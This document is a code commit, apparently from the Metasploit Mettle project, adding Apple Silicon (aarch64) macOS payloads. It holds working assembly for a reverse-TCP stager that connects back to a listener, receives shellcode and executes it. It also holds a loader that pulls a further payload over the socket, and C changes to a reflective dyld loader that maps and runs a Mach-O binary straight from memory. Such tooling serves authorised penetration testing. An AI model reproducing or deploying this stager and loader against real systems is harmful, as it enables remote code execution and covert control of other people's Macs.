M1ssion Dyld Mettle: Aarch64 Payloads
This builds on Back from the dyld by adding the required aarch64 assembly code to enable the OSX loader to run on the m1. This enables the use of native payloads on M1 or M2 devices that do not have Rosetta installed.
This commit is contained in:
Executable
BIN
Binary file not shown.
@@ -0,0 +1,109 @@
|
||||
.equ SYS_RECVFROM, 0x200001d
|
||||
.equ SYS_MPROTECT, 0x200004a
|
||||
.equ SYS_MMAP, 0x20000c5
|
||||
.equ SYS_EXIT, 0x2000001
|
||||
|
||||
.global _main
|
||||
_main:
|
||||
/* mmap(addr=0, length=stager_size, prot=2, flags=0x1002, fd=0, offset=0) */
|
||||
mov x0, xzr
|
||||
adr x1, stager_size
|
||||
ldr x1, [x1]
|
||||
mov x2, #2
|
||||
mov x3, #0x1002
|
||||
mov x4, xzr
|
||||
mov x5, xzr
|
||||
ldr x16, =SYS_MMAP
|
||||
svc 0
|
||||
|
||||
/* sockfd is in x13 */
|
||||
mov x10, x0
|
||||
|
||||
/* recvfrom(sockfd='x13', address='x10', length=stager_size, flags='MSG_WAITALL', from=0, fromlenaddr=0) */
|
||||
mov x0, x13
|
||||
mov x1, x10
|
||||
adr x2, stager_size
|
||||
ldr x2, [x2]
|
||||
mov x3, #0x40
|
||||
mov x4, xzr
|
||||
mov x5, xzr
|
||||
ldr x16, =SYS_RECVFROM
|
||||
svc 0
|
||||
|
||||
/* mprotect(addr='x10', length=stager_size, prot=0x5) */
|
||||
mov x0, x10
|
||||
adr x1, stager_size
|
||||
ldr x1, [x1]
|
||||
mov x2, #5
|
||||
ldr x16, =SYS_MPROTECT
|
||||
svc 0
|
||||
|
||||
/* mmap(addr=0, length=payload_size, prot=3, flags=0x1002, fd=0, offset=0) */
|
||||
mov x0, xzr
|
||||
adr x1, payload_size
|
||||
ldr x1, [x1]
|
||||
mov x2, #3
|
||||
mov x3, #0x1002
|
||||
mov x4, xzr
|
||||
mov x5, xzr
|
||||
ldr x16, =SYS_MMAP
|
||||
svc 0
|
||||
|
||||
mov x11, x0
|
||||
|
||||
/* recvfrom(sockfd='x13', address='x11', length=payload_size, flags='MSG_WAITALL', from=0, fromlenaddr=0) */
|
||||
mov x0, x13
|
||||
mov x1, x11
|
||||
adr x2, payload_size
|
||||
ldr x2, [x2]
|
||||
mov x3, #0x40
|
||||
mov x4, xzr
|
||||
mov x5, xzr
|
||||
ldr x16, =SYS_RECVFROM
|
||||
svc 0
|
||||
|
||||
/* add entry_offset */
|
||||
adr x0, entry_offset
|
||||
ldr x0, [x0]
|
||||
add x0, x0, x10
|
||||
adr x10, payload_size
|
||||
ldr x10, [x10]
|
||||
mov x12, x11
|
||||
mov x15, x0
|
||||
|
||||
/* make stack space */
|
||||
/* mmap(addr=0, length=0x4000, prot=3, flags=0x1002, fd=0, offset=0) */
|
||||
mov x0, xzr
|
||||
mov x1, 0x4000
|
||||
mov x2, 3
|
||||
mov x3, 0x1002
|
||||
mov x4, xzr
|
||||
mov x5, xzr
|
||||
ldr x16, =SYS_MMAP
|
||||
svc 0
|
||||
//mov x1, sp
|
||||
//bic sp, x1, #15
|
||||
//sub sp, sp, 0x1000
|
||||
add x0, x0, 0x2000
|
||||
mov sp, x0
|
||||
|
||||
mov x0, x13
|
||||
|
||||
/* jump to main_osx */
|
||||
blr x15
|
||||
|
||||
failed:
|
||||
mov x0, 0
|
||||
ldr x16, =SYS_EXIT
|
||||
svc 0
|
||||
|
||||
.balign 16
|
||||
stager_size:
|
||||
.word 0x4242
|
||||
.word 0x4343
|
||||
payload_size:
|
||||
.word 0x4444
|
||||
.word 0x4545
|
||||
entry_offset:
|
||||
.word 0x4646
|
||||
.word 0x4747
|
||||
@@ -0,0 +1,118 @@
|
||||
.equ SYS_RECVFROM, 0x200001d
|
||||
.equ SYS_MPROTECT, 0x200004a
|
||||
.equ SYS_CONNECT, 0x2000062
|
||||
.equ SYS_SELECT, 0x200005d
|
||||
.equ SYS_SOCKET, 0x2000061
|
||||
.equ SYS_MMAP, 0x20000c5
|
||||
.equ SYS_EXIT, 0x2000001
|
||||
|
||||
.equ AF_INET, 0x2
|
||||
.equ SOCK_STREAM, 0x1
|
||||
|
||||
.equ STDIN, 0x0
|
||||
.equ STDOUT, 0x1
|
||||
.equ STDERR, 0x2
|
||||
|
||||
.equ IP, 0x0100007f
|
||||
.equ PORT, 0x5C11
|
||||
|
||||
.global _main
|
||||
_main:
|
||||
/* mmap(addr=0, length=0x1000, prot=0x2, flags=0x1002, fd=-1, offset=0) */
|
||||
mov x0, xzr
|
||||
mov x1, #0x1000
|
||||
mov x2, #2
|
||||
mov x3, #0x1002
|
||||
mvn x4, xzr
|
||||
mov x5, xzr
|
||||
ldr x16, =SYS_MMAP
|
||||
svc 0
|
||||
cmn x0, #0x1
|
||||
beq failed
|
||||
|
||||
/* save retry_count */
|
||||
mov x12, x0
|
||||
mov x10, 0
|
||||
adr x11, retry_count
|
||||
ldr x11, [x11]
|
||||
|
||||
/* socket(AF_INET, SOCK_STREAM, IPPROTO_IP) */
|
||||
socket:
|
||||
mov x0, AF_INET
|
||||
mov x1, SOCK_STREAM
|
||||
mov x2, 0
|
||||
ldr x16, =SYS_SOCKET
|
||||
svc 0
|
||||
//cbz w0, retry
|
||||
|
||||
mov x13, x0
|
||||
|
||||
/* connect(sockfd, {AF_INET,4444,127.0.0.1}, 16) */
|
||||
adr x1, caddr
|
||||
ldr x1, [x1]
|
||||
str x1, [sp, #-8]!
|
||||
mov x1, sp
|
||||
mov x2, 16
|
||||
ldr x16, =SYS_CONNECT
|
||||
svc 0
|
||||
//cbnz w0, retry
|
||||
|
||||
/* recvfrom(sockfd='x13', address='x11', length=0x1000, flags='MSG_WAITALL', from=0, fromlenaddr=0) */
|
||||
mov x0, x13
|
||||
mov x1, x12
|
||||
mov x2, #328
|
||||
mov x3, #0x40
|
||||
mov x4, xzr
|
||||
mov x5, xzr
|
||||
ldr x16, =SYS_RECVFROM
|
||||
svc 0
|
||||
//cbnz w0, retry
|
||||
|
||||
/* mprotect(addr, 328, 0x5) */
|
||||
mov x0, x12
|
||||
mov x1, #328
|
||||
mov x2, #5
|
||||
ldr x16, =SYS_MPROTECT
|
||||
svc 0
|
||||
|
||||
br x12
|
||||
|
||||
retry:
|
||||
sub x11, x11, #1
|
||||
cmp x11, 0
|
||||
beq failed
|
||||
|
||||
/* select(0, 0, 0, 0, &{sleep_nanoseconds, sleep_seconds}) */
|
||||
mov x0, 0
|
||||
mov x1, 0
|
||||
adr x2, sleep_nanoseconds
|
||||
ldr x2, [x2]
|
||||
adr x3, sleep_seconds
|
||||
ldr x3, [x3]
|
||||
stp x3, x2, [sp, #-16]!
|
||||
mov x4, sp
|
||||
mov x2, 0
|
||||
mov x3, 0
|
||||
ldr x16, =SYS_SELECT
|
||||
svc 0
|
||||
bal socket
|
||||
|
||||
failed:
|
||||
mov x0, 0x1
|
||||
ldr x16, =SYS_EXIT
|
||||
svc 0
|
||||
|
||||
.balign 16
|
||||
caddr:
|
||||
.short AF_INET
|
||||
.short PORT
|
||||
.word IP
|
||||
retry_count:
|
||||
.word 0x4242
|
||||
.word 0x4242
|
||||
sleep_nanoseconds:
|
||||
.word 0x4343
|
||||
.word 0x4343
|
||||
sleep_seconds:
|
||||
.word 0x4444
|
||||
.word 0x4444
|
||||
+17
-9
@@ -1,19 +1,27 @@
|
||||
CFLAGS=-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -Os -O0
|
||||
GCC_BIN_OSX=`xcrun --sdk macosx -f gcc`
|
||||
GCC_BASE_OSX=$(GCC_BIN_OSX) $(CFLAGS)
|
||||
GCC_OSX=$(GCC_BASE_OSX) -arch x86_64
|
||||
GCC_OSX_X64=$(GCC_BASE_OSX) -arch x86_64
|
||||
GCC_OSX_AARCH64=$(GCC_BASE_OSX) -arch arm64
|
||||
|
||||
all: clean main_osx
|
||||
all: clean x64_osx_stage aarch64_osx_stage
|
||||
|
||||
main_osx: main.c
|
||||
$(GCC_OSX) -o $@ $^
|
||||
x64_osx_stage: main.c
|
||||
$(GCC_OSX_X64) -o $@ $^
|
||||
|
||||
install: main_osx
|
||||
cp main_osx ../../../../../data/meterpreter/x64_osx_stage
|
||||
aarch64_osx_stage: main.c
|
||||
$(GCC_OSX_AARCH64) -o $@ $^
|
||||
|
||||
shellcode: install
|
||||
otool -tv main_osx
|
||||
install: x64_osx_stage aarch64_osx_stage
|
||||
cp x64_osx_stage ../../../../../data/meterpreter/x64_osx_stage
|
||||
cp aarch64_osx_stage ../../../../../data/meterpreter/aarch64_osx_stage
|
||||
|
||||
x64_shellcode: install
|
||||
otool -tv x64_osx_stage
|
||||
|
||||
aarch64_shellcode: install
|
||||
otool -tv aarch64_osx_stage
|
||||
|
||||
clean:
|
||||
rm -f *.o main_osx
|
||||
rm -f *.o x64_osx_stage aarch64_osx_stage
|
||||
|
||||
|
||||
+135
-58
@@ -256,7 +256,6 @@ typedef bool (*HasThreadLocalVariables_ptr)(void * ma);
|
||||
typedef void (*SetUpTLVs_ptr)(void * ma, void * apis);
|
||||
typedef void (*AddWeakDefs_ptr)(void * apis, void * newLoaders);
|
||||
|
||||
typedef uint64_t (*SimpleDPrintf_ptr)(uint64_t fd, const char * fmt, const void * a);
|
||||
|
||||
uint64_t find_macho(uint64_t addr, unsigned int increment);
|
||||
uint64_t find_dylib(uint64_t addr, unsigned int increment);
|
||||
@@ -272,6 +271,24 @@ static void print(char * str);
|
||||
#define printf(a,b) print(a);
|
||||
#endif
|
||||
|
||||
#ifdef __aarch64__
|
||||
/*
|
||||
typedef uint64_t (*VDPrintf_ptr)(uint64_t fd, const char * fmt, ...);
|
||||
void printf_sdyld_arm64(char * a, void * b, uint64_t sdyld) {
|
||||
VDPrintf_ptr VDPrintf_func = find_symbol(sdyld, "__simple_vdprintf", sdyld);
|
||||
//VDPrintf_func(1, a, b);
|
||||
printf(a,b);
|
||||
}*/
|
||||
#define printf_sdyld(a,b) print(a);
|
||||
#else
|
||||
typedef uint64_t (*SimpleDPrintf_ptr)(uint64_t fd, const char * fmt, const void * a);
|
||||
void printf_sdyld_x86_64(char * a, void * b, uint64_t sdyld) {
|
||||
SimpleDPrintf_ptr SimpleDPrintf_func = find_symbol(sdyld, "__simple_dprintf", sdyld);
|
||||
SimpleDPrintf_func(1, a, b);
|
||||
}
|
||||
#define printf_sdyld(a,b) printf_sdyld_x86_64(a, b, sdyld);
|
||||
#endif
|
||||
|
||||
|
||||
#define DYLD_BASE_ADDR 0x00007fff5fc00000
|
||||
#define MAX_OSXVM_ADDR 0x00007ffffffff000
|
||||
@@ -283,10 +300,17 @@ int main(int argc, char** argv)
|
||||
#endif
|
||||
uint64_t buffer = 0;
|
||||
uint64_t buffer_size = 0;
|
||||
#ifdef __aarch64__
|
||||
__asm__(
|
||||
"mov %0, x12\n"
|
||||
"mov %1, x10\n"
|
||||
: "=r"(buffer), "=r"(buffer_size));
|
||||
#else
|
||||
__asm__(
|
||||
"movq %%r10, %0;\n"
|
||||
"movq %%r12, %1;\n"
|
||||
: "=g"(buffer), "=g"(buffer_size));
|
||||
#endif
|
||||
|
||||
#ifdef DEBUG
|
||||
print("hello world!\n");
|
||||
@@ -384,9 +408,10 @@ int main(int argc, char** argv)
|
||||
}
|
||||
//printf("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
|
||||
//printf("JITLMP: %lld\n", JustInTimeLoaderMake_func);
|
||||
SimpleDPrintf_ptr SimpleDPrintf_func = find_symbol(sdyld, "__simple_dprintf", sdyld);
|
||||
//SimpleDPrintf_ptr SimpleDPrintf_func = find_symbol(sdyld, "__simple_dprintf", sdyld);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "SimpleDPrintf_func: %lld\n", SimpleDPrintf_func);
|
||||
//printf_sdyld("SimpleDPrintf_func: %lld\n", SimpleDPrintf_func);
|
||||
printf_sdyld("Errno: %lld\n", *(uint64_t*)find_symbol(sdyld, "_errno", sdyld));
|
||||
#endif
|
||||
// Loader::mapSegments
|
||||
uintptr_t vmSpace = 0;
|
||||
@@ -397,11 +422,11 @@ int main(int argc, char** argv)
|
||||
#endif
|
||||
*(uint32_t*)buffer = 0xfeedfacf;
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Buffer: %lld\n", buffer);
|
||||
printf_sdyld("Buffer: %lld\n", buffer);
|
||||
#endif
|
||||
AnalyzeSegmentsLayout_func((void*)buffer, &vmSpace, &hasZeroFill);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "vmSpace: %lld\n", vmSpace);
|
||||
printf_sdyld("vmSpace: %lld\n", vmSpace);
|
||||
#endif
|
||||
bool isTranslated = false; // Rosetta.
|
||||
uint64_t extraAllocSize = 0;
|
||||
@@ -415,24 +440,24 @@ int main(int argc, char** argv)
|
||||
}
|
||||
vmSpace += extraAllocSize;
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Translated: %s\n", isTranslated ? "true" : "false");
|
||||
printf_sdyld("Translated: %s\n", isTranslated ? "true" : "false");
|
||||
#endif
|
||||
uintptr_t loadAddress = 0;
|
||||
VMAllocate_ptr VMAllocate_func = find_symbol(sdyld, "_vm_allocate", sdyld);
|
||||
uint64_t mach_task_self = *(uint64_t*)find_symbol(sdyld, "_mach_task_self_", sdyld);
|
||||
void * vmallocate_ret = VMAllocate_func(mach_task_self, &loadAddress, vmSpace, /*VM_FLAGS_ANYWHERE: */0x1);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "VMAllocate Ret: %lld\n", vmallocate_ret);
|
||||
SimpleDPrintf_func(1, "LoadAddress: %lld\n", loadAddress);
|
||||
printf_sdyld("VMAllocate Ret: %lld\n", vmallocate_ret);
|
||||
printf_sdyld("LoadAddress: %lld\n", loadAddress);
|
||||
#endif
|
||||
// Put regions together...
|
||||
// JustInTimeLoader::withRegions via MachOAnalyzer::getAllSegmentsInfos
|
||||
WithRegions_ptr WithRegions_func = find_symbol(sdyld, "__ZN5dyld416JustInTimeLoader11withRegionsEPKN5dyld313MachOAnalyzerEU13block_pointerFvRKNS1_5ArrayINS_6Loader6RegionEEEE", sdyld);
|
||||
WithRegions_func((void*)buffer, ^(struct ArrayOfRegions * rptr) {
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Region Ptrs: %lld\n", rptr);
|
||||
SimpleDPrintf_func(1, "usedCount: %lld\n", rptr->_usedCount);
|
||||
SimpleDPrintf_func(1, "allocCount: %lld\n", rptr->_allocCount);
|
||||
printf_sdyld("Region Ptrs: %lld\n", rptr);
|
||||
printf_sdyld("usedCount: %lld\n", rptr->_usedCount);
|
||||
printf_sdyld("allocCount: %lld\n", rptr->_allocCount);
|
||||
#endif
|
||||
uint32_t segIndex = 0;
|
||||
uint64_t sliceOffset = 0;
|
||||
@@ -440,12 +465,12 @@ int main(int argc, char** argv)
|
||||
for (int i = 0 ; i < rptr->_usedCount; i++) {
|
||||
const struct Region region = rptr->_elements[i];
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Region vmOffset: %lld\n", region.vmOffset);
|
||||
SimpleDPrintf_func(1, "Region perms: %lld\n", region.perms);
|
||||
SimpleDPrintf_func(1, "Region isZeroFill: %lld\n", region.isZeroFill);
|
||||
SimpleDPrintf_func(1, "Region readOnlyData: %lld\n", region.readOnlyData);
|
||||
SimpleDPrintf_func(1, "Region fileOffset: %lld\n", region.fileOffset);
|
||||
SimpleDPrintf_func(1, "Region fileSize: %lld\n", region.fileSize);
|
||||
printf_sdyld("Region vmOffset: %lld\n", region.vmOffset);
|
||||
printf_sdyld("Region perms: %lld\n", region.perms);
|
||||
printf_sdyld("Region isZeroFill: %lld\n", region.isZeroFill);
|
||||
printf_sdyld("Region readOnlyData: %lld\n", region.readOnlyData);
|
||||
printf_sdyld("Region fileOffset: %lld\n", region.fileOffset);
|
||||
printf_sdyld("Region fileSize: %lld\n", region.fileSize);
|
||||
print("----\n");
|
||||
#endif
|
||||
if ( region.isZeroFill || (region.fileSize == 0) )
|
||||
@@ -455,31 +480,31 @@ int main(int argc, char** argv)
|
||||
int perms = region.perms;
|
||||
MMap_ptr MMap_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate4mmapEPvmiiim", sdyld);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
|
||||
SimpleDPrintf_func(1, "Addr: %lld\n", (void*)(loadAddress + region.vmOffset));
|
||||
SimpleDPrintf_func(1, "Size: %lld\n", (size_t)region.fileSize);
|
||||
SimpleDPrintf_func(1, "Perms: %lld\n", region.perms);
|
||||
SimpleDPrintf_func(1, "Flags: %lld\n", MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS);
|
||||
SimpleDPrintf_func(1, "FD: %lld\n", (int)-1);
|
||||
SimpleDPrintf_func(1, "Offset: %lld\n", (size_t)(sliceOffset + region.fileOffset));
|
||||
printf_sdyld("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
|
||||
printf_sdyld("Addr: %lld\n", (void*)(loadAddress + region.vmOffset));
|
||||
printf_sdyld("Size: %lld\n", (size_t)region.fileSize);
|
||||
printf_sdyld("Perms: %lld\n", region.perms);
|
||||
printf_sdyld("Flags: %lld\n", MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS);
|
||||
printf_sdyld("FD: %lld\n", (int)-1);
|
||||
printf_sdyld("Offset: %lld\n", (size_t)(sliceOffset + region.fileOffset));
|
||||
#endif
|
||||
// MMap will init this with zeros.
|
||||
void* segAddress = MMap_func(*(void **)(apis+ 8), (void*)(loadAddress + region.vmOffset), (size_t)region.fileSize, PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
lastOffset = loadAddress + region.vmOffset + region.fileSize;
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
|
||||
SimpleDPrintf_func(1, "Buffer: %lld\n", buffer);
|
||||
SimpleDPrintf_func(1, "BufferO: %lld\n", buffer + sliceOffset + region.fileOffset);
|
||||
printf_sdyld("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
|
||||
printf_sdyld("Buffer: %lld\n", buffer);
|
||||
printf_sdyld("BufferO: %lld\n", buffer + sliceOffset + region.fileOffset);
|
||||
#endif
|
||||
memcpy2(segAddress, (const void *)(buffer + sliceOffset + region.fileOffset), (size_t)region.fileSize);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
|
||||
printf_sdyld("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
|
||||
#endif
|
||||
Mprotect_ptr Mprotect_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate8mprotectEPvmi", sdyld);
|
||||
Mprotect_func(*(void **)(apis+ 8), segAddress, (size_t)region.fileSize, perms);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "SegAddress: %lld\n", segAddress);
|
||||
SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
|
||||
printf_sdyld("SegAddress: %lld\n", segAddress);
|
||||
printf_sdyld("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld));
|
||||
#endif
|
||||
++segIndex;
|
||||
}
|
||||
@@ -502,52 +527,52 @@ int main(int argc, char** argv)
|
||||
struct Loaded * loaded = (struct Loaded*)(apis+32);
|
||||
uintptr_t startLoaderCount = loaded->size;
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Loaded Size: %lld\n", loaded->size);
|
||||
SimpleDPrintf_func(1, "Loaded first: %lld\n", (loaded->elements));
|
||||
SimpleDPrintf_func(1, "Loaded Capacity: %lld\n", loaded->capacity);
|
||||
printf_sdyld("Loaded Size: %lld\n", loaded->size);
|
||||
printf_sdyld("Loaded first: %lld\n", (loaded->elements));
|
||||
printf_sdyld("Loaded Capacity: %lld\n", loaded->capacity);
|
||||
#endif
|
||||
struct FileID * fileid = (struct FileID *)(rtopLoader+sizeof(void *));// = { 0, 0, false };
|
||||
fileid->iNode = 0;
|
||||
fileid->modTime = 0;
|
||||
fileid->isValid = false;
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Apis: %lld\n", apis);
|
||||
SimpleDPrintf_func(1, "LoadAddress: %lld\n", loadAddress);
|
||||
SimpleDPrintf_func(1, "JITLMP: %lld\n", JustInTimeLoaderMake_func);
|
||||
printf_sdyld("Apis: %lld\n", apis);
|
||||
printf_sdyld("LoadAddress: %lld\n", loadAddress);
|
||||
printf_sdyld("JITLMP: %lld\n", JustInTimeLoaderMake_func);
|
||||
#endif
|
||||
void * topLoader = JustInTimeLoaderMake_func(apis, (void *)loadAddress, "", fileid, 0, false, true, false, 0);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "TopLoader: %lld\n", topLoader);
|
||||
SimpleDPrintf_func(1, "Toploader (*(int*)this): %i\n", *(int *)topLoader);
|
||||
SimpleDPrintf_func(1, "Loaded Size: %lld\n", loaded->size);
|
||||
SimpleDPrintf_func(1, "Loaded Capacity: %lld\n", loaded->capacity);
|
||||
printf_sdyld("TopLoader: %lld\n", topLoader);
|
||||
printf_sdyld("Toploader (*(int*)this): %i\n", *(int *)topLoader);
|
||||
printf_sdyld("Loaded Size: %lld\n", loaded->size);
|
||||
printf_sdyld("Loaded Capacity: %lld\n", loaded->capacity);
|
||||
#endif
|
||||
struct PartialLoader * pl = (struct PartialLoader *)topLoader;
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "LoadAddress: %lld\n", pl->mappedAddress);
|
||||
SimpleDPrintf_func(1, "lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
|
||||
SimpleDPrintf_func(1, "hidden: %lld\n", pl->hidden);
|
||||
SimpleDPrintf_func(1, "Magic: %lld\n", pl->magic);
|
||||
SimpleDPrintf_func(1, "IsPrebuilt: %lld\n", pl->isPrebuilt);
|
||||
printf_sdyld("LoadAddress: %lld\n", pl->mappedAddress);
|
||||
printf_sdyld("lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
|
||||
printf_sdyld("hidden: %lld\n", pl->hidden);
|
||||
printf_sdyld("Magic: %lld\n", pl->magic);
|
||||
printf_sdyld("IsPrebuilt: %lld\n", pl->isPrebuilt);
|
||||
#endif
|
||||
pl->lateLeaveMapped = 1;
|
||||
pl = (struct PartialLoader *)topLoader;
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
|
||||
printf_sdyld("lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
|
||||
#endif
|
||||
struct LoadChain * loadChainMain = (struct LoadChain *)(fileid+sizeof(struct FileID));// = { 0, *(void **)(apis+24) };
|
||||
loadChainMain->previous = 0;
|
||||
loadChainMain->image = *(void **)(apis+24);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "mainExecutableLoader: %lld\n", *(void **)(apis+24));
|
||||
SimpleDPrintf_func(1, "mainExecutableLoader: %lld\n", loadChainMain->image);
|
||||
printf_sdyld("mainExecutableLoader: %lld\n", *(void **)(apis+24));
|
||||
printf_sdyld("mainExecutableLoader: %lld\n", loadChainMain->image);
|
||||
#endif
|
||||
struct LoadChain * loadChainCaller = (struct LoadChain *)(loadChainMain+sizeof(struct LoadChain));// = { &loadChainMain, &(loaded->elements[0]) };
|
||||
loadChainCaller->previous = &loadChainMain;
|
||||
loadChainCaller->image = &(loaded->elements[0]);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "LoadedElements: %lld\n", &(loaded->elements[0]));
|
||||
SimpleDPrintf_func(1, "Toploader (*(int*)this): %i\n", *(int *)topLoader);
|
||||
printf_sdyld("LoadedElements: %lld\n", &(loaded->elements[0]));
|
||||
printf_sdyld("Toploader (*(int*)this): %i\n", *(int *)topLoader);
|
||||
#endif
|
||||
struct LoadChain * loadChain = (struct LoadChain *)(loadChainCaller+sizeof(struct LoadChain));// = { &loadChainCaller, topLoader };
|
||||
loadChain->previous = &loadChainCaller;
|
||||
@@ -569,12 +594,12 @@ int main(int argc, char** argv)
|
||||
#endif
|
||||
};
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "buffer: %lld\n", diag->_buffer);
|
||||
SimpleDPrintf_func(1, "startLoaderCount: %lld\n", startLoaderCount);
|
||||
printf_sdyld("buffer: %lld\n", diag->_buffer);
|
||||
printf_sdyld("startLoaderCount: %lld\n", startLoaderCount);
|
||||
#endif
|
||||
uint64_t newLoadersCount = loaded->size - startLoaderCount;
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "newLoadersCount: %lld\n", newLoadersCount);
|
||||
printf_sdyld("newLoadersCount: %lld\n", newLoadersCount);
|
||||
#endif
|
||||
void * * newLoaders = &loaded->elements[startLoaderCount];
|
||||
struct ArrayOfLoaderPointers newLoadersArray = { newLoaders, newLoadersCount, newLoadersCount };
|
||||
@@ -596,11 +621,11 @@ int main(int argc, char** argv)
|
||||
#endif
|
||||
void * ldr = newLoaders[i];
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Ldr: %lld\n", ldr);
|
||||
printf_sdyld("Ldr: %lld\n", ldr);
|
||||
#endif
|
||||
ApplyFixups_func(ldr, diag, apis, &dcdclsw, true);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Diag: %lld\n", diag->_buffer);
|
||||
printf_sdyld("Diag: %lld\n", diag->_buffer);
|
||||
#endif
|
||||
}
|
||||
// TODO: Figure out if we need addPermanentRanges.
|
||||
@@ -642,18 +667,18 @@ int main(int argc, char** argv)
|
||||
uintptr_t flags = 0;
|
||||
void* handle = (void*)((((uintptr_t)*rtopLoader) << 1) | flags);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "Handle: %lld\n", handle);
|
||||
printf_sdyld("Handle: %lld\n", handle);
|
||||
#endif
|
||||
VMDeallocate_ptr VMDeallocate_func = find_symbol(sdyld, "_vm_deallocate", sdyld);
|
||||
VMDeallocate_func(mach_task_self, (void *)structspace, structspacesize);
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "VMDeallocated: %lld\n", structspace);
|
||||
printf_sdyld("VMDeallocated: %lld\n", structspace);
|
||||
#endif
|
||||
NSModule nm = handle;
|
||||
NSLookupSymbolInModule_ptr NSLookupSymbolInModule_func = find_symbol(dyld, "_NSLookupSymbolInModule", offset);
|
||||
NSSymbol sym_main = NSLookupSymbolInModule_func(nm, "_main");
|
||||
#ifdef DEBUG
|
||||
SimpleDPrintf_func(1, "sym_main: %lld\n", sym_main);
|
||||
printf_sdyld("sym_main: %lld\n", sym_main);
|
||||
#endif
|
||||
NSAddressOfSymbol_ptr NSAddressOfSymbol_func = find_symbol(dyld, "_NSAddressOfSymbol", offset);
|
||||
addr_main = NSAddressOfSymbol_func(sym_main);
|
||||
@@ -773,6 +798,17 @@ uint64_t syscall_chmod(uint64_t path, long mode)
|
||||
{
|
||||
uint64_t chmod_no = 0x200000f;
|
||||
uint64_t ret = 0;
|
||||
#ifdef __aarch64__
|
||||
__asm__(
|
||||
"mov x16, %1;\n"
|
||||
"mov x0, %2;\n"
|
||||
"mov x1, %3;\n"
|
||||
"svc #0;\n"
|
||||
"mov %0, x0;\n"
|
||||
: "=r"(ret)
|
||||
: "r"(chmod_no), "r"(path), "r"(mode)
|
||||
:);
|
||||
#else
|
||||
__asm__(
|
||||
"movq %1, %%rax;\n"
|
||||
"movq %2, %%rdi;\n"
|
||||
@@ -782,6 +818,7 @@ uint64_t syscall_chmod(uint64_t path, long mode)
|
||||
: "=g"(ret)
|
||||
: "g"(chmod_no), "S"(path), "g"(mode)
|
||||
:);
|
||||
#endif
|
||||
return ret;
|
||||
}
|
||||
|
||||
@@ -843,6 +880,21 @@ int detect_sierra()
|
||||
uint64_t valsizeptr = (uint64_t)&size;
|
||||
uint64_t ret = 0;
|
||||
|
||||
#ifdef __aarch64__
|
||||
__asm__(
|
||||
"mov x16, %1;\n"
|
||||
"mov x0, %2;\n"
|
||||
"mov x1, %3;\n"
|
||||
"mov x2, %4;\n"
|
||||
"mov x3, %5;\n"
|
||||
"eor x4, x4, x4;\n"
|
||||
"eor x5, x5, x5;\n"
|
||||
"svc #0;\n"
|
||||
"mov %0, x0;\n"
|
||||
: "=r"(ret)
|
||||
: "r"(sc_sysctl), "r"(nameptr), "r"(namelen), "r"(valptr), "r"(valsizeptr)
|
||||
: );
|
||||
#else
|
||||
__asm__(
|
||||
"mov %1, %%rax;\n"
|
||||
"mov %2, %%rdi;\n"
|
||||
@@ -856,6 +908,7 @@ int detect_sierra()
|
||||
: "=g"(ret)
|
||||
: "g"(sc_sysctl), "g"(nameptr), "g"(namelen), "g"(valptr), "g"(valsizeptr)
|
||||
: );
|
||||
#endif
|
||||
|
||||
// osrelease is 16.x.x on Sierra
|
||||
if (ret == 0 && size > 2) {
|
||||
@@ -874,6 +927,16 @@ uint64_t syscall_shared_region_check_np()
|
||||
long shared_region_check_np = 0x2000126; // #294
|
||||
uint64_t address = 0;
|
||||
unsigned long ret = 0;
|
||||
#ifdef __aarch64__
|
||||
__asm__(
|
||||
"mov x16, %1;\n"
|
||||
"mov x0, %2;\n"
|
||||
"svc #0;\n"
|
||||
"mov %0, x0;\n"
|
||||
: "=r"(ret)
|
||||
: "r"(shared_region_check_np), "r"(&address)
|
||||
: "x16", "x0" );
|
||||
#else
